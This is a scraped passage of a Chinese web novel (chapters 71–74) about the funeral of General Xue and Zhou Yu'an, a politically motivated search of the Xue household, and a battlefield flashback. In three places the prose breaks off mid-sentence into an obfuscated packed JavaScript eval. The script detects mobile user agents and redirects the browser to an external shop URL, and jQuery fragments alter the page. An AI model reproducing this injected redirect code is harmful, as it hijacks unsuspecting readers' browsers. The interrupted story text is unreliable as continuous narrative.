牧平也怜惜地在她额上落下一个轻吻:“去吧,周老将军寻我去书房商议些事。” 大厅内。 入目所及遍是雪白。 明明橙红的烛光在厅内明明灭灭地随风闪烁着,可是她眼中只有苍凉。 祭台上的牌位前燃着两支白烛,她先上前为二人上了三炷香。烟雾缭绕间,她甚至有些看不清牌位上的字迹。 周韫和陈昔正在为薛勖霖和周俞安整理遗容。 周韫的情绪已经平稳许多了,薛容玦站在她身边为她打下手。 薛勖霖的面容上有些小伤口,周韫的动作小心翼翼的,仿佛在照顾一件珍贵的绝世宝物。 一旁的陈昔为周俞安整理遗容,周俞宁就坐在一旁直勾勾地看着周俞安。 “阿娘,大哥会不会只是睡着了?大哥平日里睡着了就是这样的。”周俞宁的声音不再稚嫩的声音充满了少年的纯真。 陈昔原本已经平复的情绪又涌了上来,她深吸口气对周韫道:“我出去一下,麻烦你看顾一下阿宁。” 不待周韫回应她已匆匆离去,周俞宁茫然地看着母亲颤抖的背影,又看向薛容玦话语间有些怯怯的:“表姐,阿宁是不是说错话了。” 薛容玦走过去坐在他身边拍了拍他的脑袋,温柔道:“阿宁没有说错,大哥只是睡着了。” 周俞宁有些期待地看着她:“那大哥什么时候会醒来呢?” 薛容玦又涌上了泪意,含着泪光对他说:“表姐也不知道,不过表姐知道如果阿宁乖的话,阿宁睡着后就会见到大哥的。” 周韫看着他们姐弟二人心中酸涩不已,转头让下人拿来干净衣裳准备为他们换上,正褪去旧衣时她“咦”了一声:“这是何处来的平安符?” 薛容玦闻声探头看了看,声音哽咽:“是我送父亲的……看来没有用。” 周俞宁探头看了一眼,对薛容玦道:“表姐,大哥身上也有一个。” 薛容玦拿过薛勖霖那枚染血的平安符,又让周俞宁将周俞安身上已经破裂的平安符拿来,她将两枚平安符分别放在两个香囊内又分别放在了棺木之中。 突然,周俞宁似乎看到了什么,指着周俞安道:“姑母、表姐,大哥两只手中似乎攥着东西。” 二人闻声前来,似乎是有些什么东西攥在手里。周韫让两名小厮小心地掰开了周俞安的两只手。 一只手中攥着的是当日薛容玦送他的嘉兰络,上面遍布着干涸的血迹。 另一只手中攥着的是一枚玉佩。 周韫看到小厮从他手中拿出这枚玉佩时轻呼一声。 陈昔方从门外走进来便看到了这枚玉佩,她快步走进来,从小厮手中抓过玉佩仔细地看了又看。 她红着眼眶和周韫对视,二人齐齐落下泪来。 周俞宁和薛容玦不明白地看着二人,还是周俞宁开口问道:“阿娘?我怎么没见过大哥的这枚玉佩啊?” 陈昔还未开口,泪便落了下来:“……因为这不是俞安的玉佩,这是……阿爹的玉佩。” 71. 月冷千山(九) 第二日,熙熙攘攘的人群来到了薛府吊唁。 薛容玦昨日守灵守了一夜,周韫让她去歇着她也不去,牧平也昨夜陪她守了一整夜,此刻还要随周老爷子去接待来吊唁的人群,二人只匆匆说了几句话便又分别。 她一人身着粗布麻衣,一身缟素坐在亭中,心中却在思索那枚玉佩。 为什么舅父的玉佩会在周俞安手中? 当日究竟发生了什么? 她倚靠着亭柱不知不觉间陷入了小憩。 “……俞安,不能去!” “这是军令!” “抓起来!” …… “……郡主?郡主?” 薛容玦小憩时似乎陷入了一场短暂而又真实的梦境,可是如今梦醒却什么也不记得了,她抬眼看向眼前人。 ——是崔原。 他一身素衣坐在薛容玦身边,却又十分克己复礼地隔了一个位子。 “许久未见,郡主可还好?” 薛容玦扯了扯嘴角:“小崔大人觉得呢?” 崔原如今已然入朝为官。他春日里递交的关于江南水汛的折子颇受桓帝重视。前些日子去江南治理汛期江河,效果十分不错,引得桓帝大赞“年轻有为”。 崔原的眉眼黯了黯,递出手中的一个小盒子:“前些日子在江南未能赶上郡主大婚,这原是为郡主大婚准备的贺礼。本不应此刻给郡主的,只是不知下次与郡主相见又是何时。” 薛容玦接过他手中做工精致的木盒,打开看了看转身递给婢女,向他真诚道:“多谢。” 前院的纷纷扰扰似乎忘了这一片净地,二人相顾无言,唯有水波潋滟与无边愁绪。 还是薛容玦率先打破了沉默,问道:“听闻小崔大人此番前往江南路过了安乐县,不知可否见到了崔荔姑娘,她如今过得可还好?” 崔原听到妹妹倒是眉眼间流露出些许笑意:“沈大人待阿荔极为尊重,阿荔除了偶尔有些孤单倒是过得还不错。 “只是她如今有些像阿娘,人不是在家中的佛堂便是在无名寺里小住。” 薛容玦看着他面上浮现的淡淡笑意,轻道:“崔荔姑娘孤身一人,心中有所寄托也是好事。” 崔原沉默半晌道:“郡主如今……是否还将在下当作朋友?” 薛容玦闻言倒是勾起了几分精神,看着他问道:“小崔大人这话何意?” 崔原有几分的慌乱,连忙摆手道:“不是的,在下只是觉得如今郡主对在下似乎有些防备。” 薛容玦正欲说什么,便看到五皇子走来,连忙起身行礼:“见过殿下。” 五皇子连忙虚扶她一把,道:“节哀顺变。” 薛容玦垂首点点头却什么也没说。 五皇子扫了一眼她身后的崔原,对薛容玦道:“在聊什么?” 薛容玦摇了摇头:“小崔大人不过是安慰安乐莫要多想。” 五皇子瞥了一眼失落的崔原,浅笑着道:“说起来,孤幼时还曾跟着薛将军学过几天武呢,转眼间就已物是人非了。” 薛容玦有些惊奇地看着他,好奇道:“这倒是不曾听说。” 五皇子双眸落入回忆中,似乎是一些很不错的回忆,浅浅笑道:“那时舅父在南边打仗,孤便随薛琮还有俞安跟着薛将军学过一阵子武,后来舅父自南方归来便再没有继续跟着薛将军学了。 “不过,薛将军对孤、对薛琮和俞安倒是一视同仁,既不因孤的皇子身份宽待于孤,也不因薛琮和俞安更亲近而有所优待,该打该骂一点不留情面。 “那时每每回去总要跟母亲哭诉薛将军的凶狠,如今想来只有薛将军这样的老师才能教出俞安和薛琮这样血性的小将军。” 薛容玦未曾想到竟还有这样的一段往事,想来崔棠必不会主动让五皇子随薛勖霖学武,必定是陛下的意思,可是为什么呢? 还没等她思考出什么来,只见五皇子随身侍卫上前与五皇子悄声说着什么,她后退了几步。 可是,五皇子用一种奇怪的眼神看着她,有喜悦也有悲悯。 五皇子摆了摆手让侍卫退下,他叹了口气对薛容玦道:“前线传来线报,薛琮一人带着五千人绕过碧泽郡深入敌军深处,失去了消息。” 薛容玦愣了一瞬便道:“多谢殿下告知,安乐先行告退。” 五皇子点了点头。 她抬步向前院走去,似乎是有些着急,她乌发的一支发簪显得摇摇欲坠。 五皇子看着她的背影对崔原道:“别看了,是时候分道扬镳了。 “好戏就要上演了。” - 薛容玦找到太子,低声向他确认刚才的消息,得到太子的肯定,她轻声道:“此事知晓之人可多?” 太子摇摇头:“除了陛下,怕是只有我和盛硕那边的得到了消息,不过这消息被我拦下了,今日才告知他,没有告诉你是不想你和舅母担心。” 薛容玦点点头疑惑道:“只是,五皇子为何要告知于我呢?” 太子远远地看了一眼盛硕,语气不明:“那怕是想让你自乱阵脚。” 薛容玦随着他的目光看向盛硕,他看起来沉稳了许多,笑着与朝臣们结交,不再是往日里的少年模样。 她悄声道:“还望殿下暂时不要将此消息告知母亲,我怕……我怕母亲接受不了。” 太子沉默一瞬道:“你放心。” - 往常一片湛蓝的天际今日一片灰暗,仿佛快要落下雨来。不知是不是老天得知今日薛勖霖与周俞安出殡,也在为他们难过。 薛容玦面色苍白地站在牧平也身边,原本如明珠一般绚烂的少女,如今总是萦绕着悲伤。 他担忧地看向她:“怎么了,可是身子不舒服?” 薛容玦看了看阴沉沉的天空,摇了摇头:“只是觉得心口有些闷,总觉得今日会有什么事情发生。” 薛皇后今日本也要来送兄长一程的,可是就在昨日又犯了旧疾昏了过去。医官说薛皇后身子亏空,情绪波动只会加重病情,太子与太子妃便留在宫中侍疾。 今日送殡之人甚多,薛容玦始终站在周韫身旁,可是还不等出殡便生了变故。 小厮跌跌撞撞地跑了进来,上气不接下气道:“大长公主……夫人……不好……了,文大人……文大人带人把大门堵了,说是要搜查!” 周韫怒道:“这些人非要在今日找事吗?” 薛容玦拉着周韫柔声道:“阿娘别急,此事交给我如何?” 周韫和大长公主对视一眼,大长公主笑道:“阿玦放心去,有外祖母给你撑腰呢,别担心。” 牧平也陪着薛容玦一起到大门处,此时门前除了文熙跃带来的人也围上了一圈百姓。 百姓只知今日薛将军与周小将军出殡,只是想送他们一程却没想到会遇上如此情况。 文熙跃瞧着已至知命之年,往日里瞧着低眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404368|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺眼的。也不知是因女儿成了王妃,还是今日格外信心十足,整个人看起来倒是神采奕奕的。 文熙跃看到薛容玦出来,行礼道:“叨扰郡主了,本不应今日来打扰的。只是……” 薛容玦冷笑道:“文大人既知不应来,那便回去吧。” 文熙跃脸上的笑容转瞬消失,语气也不复刚才客气:“郡主说笑了,在下是领旨前来的,差事没完成又怎么敢回去复命呢?” “哦?”薛容玦打量着他,不隐藏眼神里的厌恶,“旨意呢?文大人要做什么?” 文熙跃此刻挺直了脊背,皮笑肉不笑道:“是陛下口谕。有人举报薛将军通敌,虽然薛将军已死,可有些事并非可以人死灯灭的。在下奉命前来搜查,还望郡主通融。” 薛容玦扬起下巴却道:“本郡主若是不通融呢?” 文熙跃眼中闪过一丝狠毒,冷淡道:“郡主若是如此态度,那在下也只能硬闯了。” 牧平也将薛容玦揽到身后,瞧着十分和颜悦色,只是他的双眸没有任何温度:“文大人说有人举报,敢问是何人举报?” 文熙跃闻言眼神有些躲闪,复又与他对视道:“小牧大人凭什么质问本官?” 牧平也轻笑一声,接下来的话语声音不大不小正好能让百姓听到:“下官不敢,下官只是有些奇怪。薛大将军戎马一生,为了我大盛最终战死沙场,如今薛大将军唯一的儿子仍在战场上与敌军厮杀,不知是何人要如此污蔑薛大将军的身后名?” 百姓间的议论清晰地传到在场每个人的耳中。 “就是!” “薛将军每年都和夫人建粥棚、赠药材,怎么会呢?” …… 文熙跃支支吾吾回答不上来,突然传来了五皇子的声音:“小牧大人莫动气,文大人也不过奉命行事而已,何苦为难?” 薛容玦看到他身后除了文繁荫以外还有崔允带着一队人马,嗤笑道:“殿下这是打算让崔允带兵硬闯?” 起风了,经幡随之舞动,凉意袭卷了整个天地。原本灰暗的天际变得厚重、阴沉、仿若黑云压城,明明还是清晨却犹如夜幕降临。 五皇子却仍是笑道:“安乐别动气,孤知晓今日是薛将军和周小将军出殡之日。孤让他们手脚利索些,早些搜完早些让二位入土为安。” 申屠骞此刻却带着一队执金吾前来,对五皇子和薛容玦行了礼又道:“郡主,咱们弟兄今日也前来送一送薛将军。咱们军中之人无不敬仰薛大将军。郡主放心,今日必定护送薛将军与周小将军出城。” 薛容玦向他行了一礼:“多谢申屠大人。” 五皇子面色冷然地盯着申屠骞,强笑道:“申屠大人非要如此做?” 申屠骞拍了拍胸口道:“五皇子,我申屠骞虽是莽夫一个,心中却也知晓情义。薛大将军从前待我不薄,我必定保他一路顺风。” 薛容玦看向五皇子,双眸冷淡:“殿下,若有陛下圣旨安乐无话可说。可若没有,还望诸位让路,家父与表兄这就要上路了。” 二人的视线在空中交汇,谁也不退让。 风越来越大了,每个人的衣袍都被迫在空中飞舞,真真是山雨欲来风满楼。 “圣旨到。” 所有人的视线都看向了打马而来的崔原。 不,准确地说,所有人的视线都看向了他手中的圣旨。 “还望郡主让路。”崔原看向薛容玦,声音没有任何波澜。 72. 月冷千山(十) 申屠骞带人挡在薛容玦和牧平也身前,与五皇子带来的崔允等人沉默地对峙着。 “申屠大人,你要抗旨吗?”崔原双眸没有任何情绪地看着申屠骞。 文繁荫笑得张扬,她对薛容玦道:“真没想到啊,从小被人捧在手心的薛容玦也有今日啊? “若你薛家通敌,你说还会不会有那么多人将你捧在手心啊?” 薛容玦瞥了她一眼冷漠道:“王妃是不是高兴得太早了?” 文繁荫正欲反唇相讥,却听到一道威严又沧桑的声音传来。 “做什么!” 所有人的视线看向声音的来源,是大长公主。 “姑祖母!”五皇子惊道。 他拉着文繁荫快步上前,在大长公主面前行礼道:“您什么时候入京的?早知孙儿该早些来拜见的。” 其余人等也连忙下跪行礼。 “都起来吧,”大长公主似笑非笑地看着他,“阿硕是说,本宫入京需先向你禀明吗?” 五皇子复跪在她身前,忙道:“孙儿并非此意。” 文繁荫也急忙随五皇子跪下。 大长公主没有再看他们二人,只是看向崔原朝他抬了抬下巴问道:“写的什么?” 崔原拱手道:“回大长公主,陛下说为避□□言,还是一搜薛将军书房以正视听。” 大长公主毕竟是年轻时上过战场的人,不怒自威,所有人在她面前都忍不住低下了头。 她看向薛容玦和牧平也道:“随本宫进宫一趟。” 薛容玦和牧平也对视一眼,牧平也给了她一个安抚的眼神,又对大长公主道:“晚辈遵命。” “走吧,”大长公主瞥了一眼还在地上跪着的五皇子,“拿上圣旨随本宫走一趟吧。” 薛容玦上前两步对申屠骞行了一礼:“多谢申屠大人今日相助,还麻烦申屠大人替本郡主守好大门,待本郡主随大长公主归来。” 申屠骞抱拳道:“郡主放心,定不辱命。” - 大长公主坐在书房的一侧,桓帝坐在她身边笑着为她倒了盏茶:“姑母进京怎么不事先说一声?” 大长公主笑道:“本宫不说,陛下便不知了吗?” 桓帝但笑不语。 薛容玦、牧平也和盛硕坐在下首不发一言,只是盛硕听闻此言很快地看了一眼桓帝随即垂下了眼眸。 大长公主拿出圣旨递给桓帝,道:“陛下可否收回此圣旨?” 桓帝手指轻敲在桌上,沉吟半晌道:“姑母,王言如丝,其出如纶,苟反覆之,何以信于四海?” 大长公主看了看对面的三人,道:“你们先出去。” 牧平也在殿外低声问道:“……你昨日在书房找到的东西毁了吗?” 薛容玦抬眼看了一眼远处的盛硕,悄声道:“没有,我藏起来了。” - 昨日。 薛容玦在房中打开了崔原所赠之物,是一个做工精致的镜子,镜子背面还雕刻着精致的图像。她觉得十分熟悉,却又一时想不起来。 牧平也走进房间看到薛容玦盯着手中之物发呆,走到她身边问道:“在想什么?” 她举起手中的镜子问道:“你瞧瞧这个图像,是不是十分熟悉?” 牧平也接过镜子细细瞧着,忽而道:“这不是朱厌吗?” 朱厌? ……有兽焉,其状如猿,而白首赤足,名曰朱厌,见则大兵。 “……前些日子在五皇子府邸偶遇了文夫人,我正为郡主贺礼发愁。她说郡主年少时不喜祥兽,偏喜朱厌,可送一个朱厌模样的小镜,我便专门令人打造了这副镜子。” 牧平也看她发呆,忙把她抱在怀里问道:“怎么了?” 薛容玦道:“这镜子是崔原送的,但……唔……” 牧平也的吻毫无预兆地落了下来让她无从招架,只能被动地承受着。 好半晌牧平也才放开她,她红着脸嗔道:“你咬我做什么!和你说正事呢。” 牧平也却埋首在她颈侧,闷声道:“无事,就是想到了宫宴你们俩在湖边说话的情形。你继续说……” “多久之前的事了,”薛容玦不禁失笑,“好了好了,说正事。他说之所以在这镜后雕刻朱厌是因为琼芳姐姐说我幼时不喜祥兽偏喜朱厌。” “可是我明明不喜朱厌,凫篌朱厌,见则有兵【】谁会喜欢呢?不过这倒让我想起了之前的一桩事。” 薛容玦回忆着当日的情形,道:“那日清露姐姐和琼芳姐姐约我相见,清露姐姐因要与小陈大人出城还愿先行离去了,琼芳姐姐却与我话起了从前。 “起初我以为是她记忆出现了偏差,可后来我发现她所回忆的每一件事情都是相反的。 “‘人行明镜中,鸟度屏风里。’明明是她最喜一句,我最喜的才是‘天地一逆旅,同悲万古尘。’她最爱的分明是梅花我最喜的才是桂花。” 牧平也看着薛容玦手中的镜子心中隐隐有些预感,道:“不知文夫人过得如何?” 薛容玦想到了前世早早离世的薛容玦,又想到了那日面容憔悴的姜琼芳,摇头道:“怕是不太好。那日她并未带着自小伴她长大的念灵,而是文符为她挑选的婢女。” “而且,”她回忆道,“这位婢女仿佛对她看顾很紧。是不是她有些话不方便直说,所以才这样与我回忆?难道是在与我传递些什么消息吗?” 牧平也想了想道:“岳父大人之死必定有隐情,听闻北蛮流落民间的王子已被寻回,这两件事之间必定有所关联。 “想来朝中必定有人暗通北蛮,岳父大人一死必定有人利用此来针对太子殿下,我们须早些准备。” “文夫人所云皆是相反,又让小崔大人雕刻朱厌为你传递信息。若是我没猜错,文家近日会有所动作,最简单的便是诬陷岳父大人通敌,人死灯灭、死无对证。 “想来他们必定这几日趁乱在府中……不对,怕是在岳父大人的书房内动了手脚。” - 牧平也看着五皇子的身影,对薛容玦道:“薛将军之死把五皇子一党的野心推到了台面上,此后的路可不好走。” 半晌,桓帝亲自送大长公主出来,笑容满面道:“姑母慢走。” 桓帝又对盛硕厉声道:“你做事也太不稳重了,以后不得人云亦云。送大长公主回薛府,让你的人都撤了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434706|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 盛硕面上看不出颜色,只是恭敬垂首道:“是。” 待一行人回到薛府时,申屠骞正拔剑和对面的崔允相对,文繁荫气势汹汹地将崔允挡在身后,挑着眉对申屠骞道:“你敢对本王妃动手吗?” 盛硕快步上前将文繁荫拉到身后,怒道:“做什么!” 文繁荫见他眉宇间都是不郁,哑了火站在盛硕身后。 盛硕压着崔允的手收回了剑,又客气地对申屠骞道:“申屠大人这是做什么,不过是一场误会罢了。” 申屠骞看了一眼薛容玦,她轻轻地向他点了点头,申屠骞这才收了剑:“既是误会一场,那便请文大人让手下回去吧。” 薛容玦上前两步对盛硕道:“还请殿下命他们移步,否则棺木都出不了府。” 盛硕笑着点了点头,这笑容中再看不出半分不悦,对文熙跃和崔允道:“让开。” 牧平也走到五皇子身边轻声道:“我若是殿下可不会这么冲动,殿下不妨好好想想到底是哪位身边人出了问题。” 薛容玦看着踱步到自己身边的牧平也悄声问道:“你说了什么?” 牧平也笑得像一只狐狸,悄声在她耳边道:“没什么,给他埋下一颗疑心的种子。” 大长公主看着这些人只道:“耽误太久了,本宫去瞧瞧,小牧大人随本宫去瞧瞧他们准备得怎么样了。” 牧平也道是,随着大长公主先行离去。 远方有士兵打马而来,身上的尘土昭示着他一路的艰辛。 “见过五皇子、郡主,小薛将军带人烧了北蛮粮草库,还俘虏了北蛮王的二王子!” 五皇子愣了一瞬道:“昨日还说薛琮没消息了,今日便传来了好消息,没事便好。” 这位士兵疑惑道:“小薛将军深入北蛮军中确实失去消息了一阵子,但却也是几日之前的消息了,竟昨日才到吗?” 薛容玦却打断了他们的对话:“多谢,管家快带他下去歇歇。” 她又笑着看向五皇子道:“不知五皇子可否带着先行离去?否则这不知情的还以为我们薛家怎么了呢?” 五皇子深深看了她一眼转头带人离开了,倒是文繁荫恨恨地在她耳边道:“算你走运,不知道下次你还会不会这么走运。” 薛容玦淡淡道:“托王妃的福,那便借王妃吉言了。” 崔原离去前看了一眼薛容玦,因方才进宫换了一身白衣,站在那里仿佛云端的九天仙女,十分遥远。 他有预感,他们只会渐行渐远。 待一行人离去后,薛容玦才对申屠骞浅笑道:“今日真是多谢申屠大人了,若是大人不介意不妨进去坐坐?” 申屠骞倒是颇有军中之人的气魄:“郡主客气了,下官随执掌执金吾,却也对薛将军十分敬佩。今日之事举手之劳而已,若是郡主不介意,下官今日同兄弟们一起送薛将军一程。” “怎会介意?还要多谢大人才是?。” 薛容玦正欲带着申屠骞进入正厅,便见月红慌慌张张地跑来在她耳边耳语一番。 薛容玦叹了口气。 原来有些命运是无法避免的,比如文符妻子的离世。 姜琼芳死了。 73. 风雪归人(一) 烈日当空,薛勖霖身上穿着厚重的铠甲,周俞安沉默地随他巡视军营。 自从进入了碧泽郡以来,周俞安一日比一日沉默。 薛勖霖专门讲他叫到跟前,问道:“近日是怎么了?” 周俞安不答反问:“将军初次上战场是什么感觉?” 薛勖霖并没有在意他的冒犯,而是认真思考半晌道:“害怕。” 周俞安反而有些惊讶,薛勖霖说是盛朝建朝以来最伟大的将军也不为过,原来他第一次上战场也会害怕。 薛勖霖看到他惊讶的面庞反而笑了笑:“那时阿璇在宫中无所依靠,我若是不能活着回去她怕是此生艰难。 “还有你姑母,我那时可是憋着一口气要争军功好回去迎娶你姑母。所以心中虽然害怕,却仍然咬着牙一往无前。” 周俞安又想起了沐浴在月光下的少女,仿佛出尘脱俗的仙女降临人间,他似乎有些理解薛将军当初的感受了。 - “加油!” “上啊!” “太可惜了!就差一点!” 薛勖霖和周俞安站得远远儿地看着营地的比武。 军中上下为了鼓舞士气专门为将士们办了一场比武,一方面是让他们热身,一方面也是让他们缓解焦虑情绪。 队伍自进入碧泽郡以来所有人都越来越沉默。 沿途都是破败的村落,衣不蔽体的尸身,和街上卖身葬父的少年们。 碧泽郡作为大盛和北蛮的屏障,在这无人知晓的地方承受着太多苦难。 薛勖霖将自己的随身的一把匕首当作彩头,众将士们都跃跃欲试。可是谁也没想到平日里不显山不露水的方贺,此刻赤着上身站在比武台中央,在阳光的照射下身上的汗水熠熠生辉。 他喘着粗气环顾着台下的众人:“还有何人!再来!” 台下一个不服输的士兵单手撑着比舞台跳了上去:“来!” 说着二人又开始比了起来。 周俞安看着两人有来有往地比试:“这个方贺看起来底子很扎实,一看便是自小习武。只是,以他的身手和能力,怎会级别如此低?” 薛勖霖看着他的招式,眯起了眼睛,缓缓道:“不知道,也许故意藏拙吧。” 就在二人说话间,比武台上已经分出了胜负,方贺胜。 他手中拿着薛勖霖当作彩头的匕首,遥遥向薛勖霖行了一个军礼,他的笑容被将士们的嬉闹声淹没了。 周俞安笑着看他们打闹,想了想道:“将军,不如将方贺调到我身边做随侍,正巧我身边也缺一个人。” 薛勖霖闻言不语,只是打量着人群中的方贺,似乎在思考着什么:“不如将他放在我身边,将王凡调给你。” 周俞安连忙道:“王凡是将军用惯了的人,属下只是缺个随侍而已,方贺便可。” 薛勖霖犹豫了半晌道:“好吧。” - 这一日由周俞安带队与北蛮某一小队作战,方贺果然不负他所望,在战场上一马当先十分英勇,当然也挂了彩。 周俞安对待自己的手下们没有什么架子,晚上回到营地时一群人蹲在篝火边,你帮我我帮你给伤口上药。 方贺帮周俞安上药时,周俞安因疼痛皱了皱眉,道:“方贺你上战场也太英勇了些,难道不怕交代在这战场上?” 周围的人都附和道:“是啊,我们可是一队的,有我们呢,你别一个人在前头猛冲。” 方贺上药的手一顿,随即笑道:“怕当然是怕的,但也有私心。” 周俞安闻言想道了之前薛勖霖所说的,打趣道:“可是有了心仪之人?” 虽然天色全然黑透了˙,可是隔着篝火大家还是能看到方贺羞红的脸颊,他笑道:“是啊,正是因为有了心仪之人所以想要做得更好,以配得上她。” 周俞安又想到了薛容玦,她此刻在做什么呢? 众人都打趣着方贺让他讲讲他们的故事。 军营的生活枯燥又无趣,每个人的头上都悬着一把刀,大家都不知道下一次还能不能活着从战场上平安回来,所以这样的时刻显得格外珍贵。 方贺受不了大家的起哄,举起手作投降状:“好好好,我想想从哪里讲起,就从我们初遇吧。” 他们的初遇其实十分俗套,贵族小姐上街时被小混混骚扰,他们家的摊子就在一旁他顺手出手相助。可是少女十分感谢他,常常邀请他去酒楼,说是为了感谢他,但他知道少女只是缺少一个倾诉的人。 逐渐地,他发现少女和他曾经认识的贵族小姐一点也不一样。 他曾经认识的那些贵族小姐成日里吃喝玩乐,满脑子想着嫁一个好夫婿,这样就能继续她们吃喝玩乐的日子了。 可是少女和这些人都不一样,少女不甘心做家族联姻的棋子,总是在想各种办法试图逃避这样的命运。 大多数时候他们之间都是少女在讲,他在听。 可是那一日他开口问道:“为什么不能直接拒绝呢?” 在他自小的观念中,想要的自己去争取,不想要的直接拒绝便好。 可是少女笑得温柔而悲哀:“我的出身让我没有办法拒绝。” 后来,二人之间渐生情愫。 少女是一个直来直往的性子,在一日离别前问道:“你可心悦于我?” 方贺当下就红了脸,少女笑出了声:“没想到你一个男子,竟这么害羞。” 他们二人站在无人的街巷,天色将暗未暗,他看向少女澄澈的双眸,认真道:“怪我,这话应由我主动告知于你。 “我心悦于你。” 少女的眼眸像天上繁星一样耀眼,少女轻笑着上前踮起脚尖吻在了他的唇上:“我也是。” 后来少女了不被家族安排也为了将来能够嫁给他做了很多很多,这次也该由他做些什么。 一旁的将士听得羡慕不已,一把揽上他的肩膀:“若是此番我们顺利回家,方兄可要请兄弟们喝喜酒啊!” 方贺的眼眸像夜空一样漆黑,他望着夜空半晌,随即笑着对大家道:“若是此番一切顺利,兄弟们一定要赏脸来喝喜酒。” - 周俞安和薛勖霖等一众老将确定接下来的战略,脑袋方才挨上枕头边被方贺急切的声音叫醒了:“将军快醒醒。” 这些日子周俞安已经练就了闻声而起的能力,他起身问道:“出了何事?” 方贺递给他一个信封道:“方才属下听将军的安排去巡视粮草营,刚与将军军帐门口的将士换了岗,帐子上便射来了这么一封信,却未曾看到是何人所为。” 周俞安一边拆信一边吩咐道:“点灯。” 方贺眼看周俞安的神情越来越严肃,他猛然起身道:“我去寻大将军一趟,你在这里守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437655|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。” 周俞安到薛勖霖帐前时,薛勖霖仍在看碧泽郡和北蛮的地图,他看到周俞安有几分惊讶:“怎么没有休息?” 周俞安没有说话,只是将刚才的信递给了薛勖霖:“方才射在我帐子上的。” 薛勖霖有些疑惑地接了过来,越看眉头越紧皱:“谁给你的?” 周俞安老实道:“方贺在帐外当值时有人射来的,他便立即拿给了我并未看清是谁做的。” 薛勖霖叹了口气:“俞安呐,你应知晓,这信里所说的是假的。” 周俞安倔强地摇了摇头:“姑丈不是的,父亲真的有那样一枚玉佩,是母亲给他的。” 周俞安的声音多了几分恳求:“姑丈,我一个人去,不会拖累战事的。” 薛勖霖猛然起身道:“即便是真的也不行,摆明了就是陷阱。俞安,不能去!” 周俞安当即卸下了甲胄,对薛勖霖拱手道:“姑丈,父亲尸骨无还,我便是以这条命换回父亲遗物也是值得的。” 薛勖霖叹了口气:“俞安,阿铎若是有灵必不愿让你前去。” 周俞安行了一礼便转身向外走。 “周俞安,我说不许去!这是军令!” 周俞安的步伐仅是一顿,便继续向外走。 薛勖霖扬声道:“来人!抓起来!没有我的命令,谁都不许去看他。” 薛勖霖坐在桌前按了按眉心,又道:“王凡!” 王凡拱手道:“大将军有何吩咐?” 他招了招手让王凡近前悄声吩咐了什么。 王凡领命前去,只是很快便又回来了:“回大将军,方贺不见了。” “报!大将军!周小将军被放走了!” - “昭昭?昭昭?” 牧平也担忧地看着薛容玦,距离薛勖霖和周俞安下葬已经两月有余,但她日日都不得好眠,此刻似乎又陷入了梦魇。 薛容玦睁眼便撞入了牧平也担忧的眼眸中,他将她揽入怀中轻拍着,柔声道:“可是又做梦了?” 她似乎十分疲累,沉重地点了点头,声音还带着些慵懒和哑然:“自从触碰到父亲和表兄的平安符后,我便断断续续地做梦,隐约记得和战场有关,可是醒来后却又什么都不记得。” 牧平也拍了拍怀中人:“太子殿下一直在调查,况且薛兄即将得胜归来。薛兄在军中也许知道些什么。” 薛容玦总觉得梦中看到的几人十分眼熟,却又想不起名姓。 牧平也为了让她平静下来专门与她说些别的事情,他的声音平稳充满力量,让人安心:“昨日母亲来信我还未转交给你,她自从随大长公主离开京都回沉潭郡后似乎情绪好了不少,让你别担心。母亲还说,到春节时让我们带上阿宁去沉潭郡过春节。” 薛容玦听到他提周俞宁问道:“阿宁这些日子在书院读书读得如何?” 牧平也的声音带了些许安慰:“我前些日子专门去书院看了阿宁,他读得很好。夫子说阿宁十分有天分,这样勤学几年,及冠之时必有所作为。” 薛容玦不禁沉默,听着窗外的秋雨滴落。 周俞宁,原本最无忧无虑的少年,一生最大的愿望便是做天下最厉害的花匠。 可是父兄接连战死沙场,他也仿佛一夜之间长大。 悲欢离合总无情。 没有人逃得脱命运。 74. 风雪归人(二) 秋日的悠悠白云,温柔疏离,高挂云端,不可触碰。 梧桐枯叶随风飘落,铺满了官道仿佛顺着它一直走便能走到天际。 秋色佐归人。① 薛琮远远地就看到薛容玦和牧平也等在城外,他心中涌上一阵涩意。 他让身后的将士们保持原速前行,自己先打马前行,枯黄的树叶被马蹄卷起飞舞向空中,仿佛一场盛大的舞蹈。 薛容玦看到薛琮下马,为他掸了掸身上的灰尘,笑着道:“急什么,就这么几步路了。” 牧平也和薛琮互相见了礼,薛琮对薛容玦半抱怨半开心道:“不是说不让你来吗?秋日天气凉,你身子不好受凉了该怎么办?” 牧平也笑着道:“自收到薛兄要归来的信,她是一刻都闲不住。我说我来替她接薛兄她还同我闹脾气。” 